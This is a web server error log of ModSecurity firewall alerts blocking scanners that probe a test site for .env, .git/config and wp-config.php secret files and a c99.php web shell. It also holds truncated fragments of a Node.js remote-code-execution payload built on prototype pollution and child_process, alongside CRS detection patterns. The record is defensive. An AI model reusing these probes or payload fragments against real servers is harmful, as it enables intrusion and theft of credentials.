[Fri Jan 23 08:11:44.599157 2026] [:error] [pid 1596304] [client 141.98.11.171:12817] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXMfMDhDL5QTdZ-T3ORXagAAAAI"]
[Fri Jan 23 08:11:44.599338 2026] [:error] [pid 1596304] [client 141.98.11.171:12817] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXMfMDhDL5QTdZ-T3ORXagAAAAI"]
[Sat Jan 24 23:35:21.885656 2026] [php:error] [pid 1618084] [client 4.241.184.25:51859] script '/var/www/magento.test.indacotrentino.com/www/pub/images/c99.php' not found or unable to stat
[Sun Jan 25 19:46:22.812475 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Rule 7fd71b16e898 [id "932110"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "258"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.813474 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Rule 7fd71b163760 [id "932115"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "298"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.815212 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "350"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: res_hex })); }).catch(function(e) { reject(Object.assign(new Er..."] [severity "CRITICAL"] [ver "OWASP_C [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.815351 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Rule 7fd71adb4bf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.815513 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.815665 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.817423 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Rule 7fd71b9e6320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.817567 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Rule 7fd71b9dd030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.824234 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Sun Jan 25 19:46:22.824391 2026] [:error] [pid 1639914] [client 34.171.226.229:21306] [client 34.171.226.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXZk_uGbQU28xhMFmbpuMAAAAAI"]
[Mon Jan 26 19:22:42.752223 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw-gAAAAA"]
[Mon Jan 26 19:22:42.752409 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw-gAAAAA"]
[Mon Jan 26 19:22:42.752567 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw-gAAAAA"]
[Mon Jan 26 19:22:42.773100 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXew8gyjWv2z5BdJmRlw-wAAAAA"]
[Mon Jan 26 19:22:42.773233 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXew8gyjWv2z5BdJmRlw-wAAAAA"]
[Mon Jan 26 19:22:42.773392 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXew8gyjWv2z5BdJmRlw-wAAAAA"]
[Mon Jan 26 19:22:42.773526 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXew8gyjWv2z5BdJmRlw-wAAAAA"]
[Mon Jan 26 19:22:42.794100 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aXew8gyjWv2z5BdJmRlw_AAAAAA"]
[Mon Jan 26 19:22:42.794286 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aXew8gyjWv2z5BdJmRlw_AAAAAA"]
[Mon Jan 26 19:22:42.794433 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aXew8gyjWv2z5BdJmRlw_AAAAAA"]
[Mon Jan 26 19:22:42.815156 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw_QAAAAA"]
[Mon Jan 26 19:22:42.815330 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw_QAAAAA"]
[Mon Jan 26 19:22:42.815461 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw_QAAAAA"]
[Mon Jan 26 19:22:42.836047 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw_gAAAAA"]
[Mon Jan 26 19:22:42.836208 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw_gAAAAA"]
[Mon Jan 26 19:22:42.836343 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aXew8gyjWv2z5BdJmRlw_gAAAAA"]
[Mon Jan 26 19:22:42.857036 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXew8gyjWv2z5BdJmRlw_wAAAAA"]
[Mon Jan 26 19:22:42.857193 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXew8gyjWv2z5BdJmRlw_wAAAAA"]
[Mon Jan 26 19:22:42.857332 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXew8gyjWv2z5BdJmRlw_wAAAAA"]
[Mon Jan 26 19:22:42.878072 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXew8gyjWv2z5BdJmRlxAAAAAAA"]
[Mon Jan 26 19:22:42.878238 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXew8gyjWv2z5BdJmRlxAAAAAAA"]
[Mon Jan 26 19:22:42.878388 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXew8gyjWv2z5BdJmRlxAAAAAAA"]
[Mon Jan 26 19:22:42.898970 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXew8gyjWv2z5BdJmRlxAQAAAAA"]
[Mon Jan 26 19:22:42.899095 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXew8gyjWv2z5BdJmRlxAQAAAAA"]
[Mon Jan 26 19:22:42.899271 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXew8gyjWv2z5BdJmRlxAQAAAAA"]
[Mon Jan 26 19:22:42.899419 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXew8gyjWv2z5BdJmRlxAQAAAAA"]
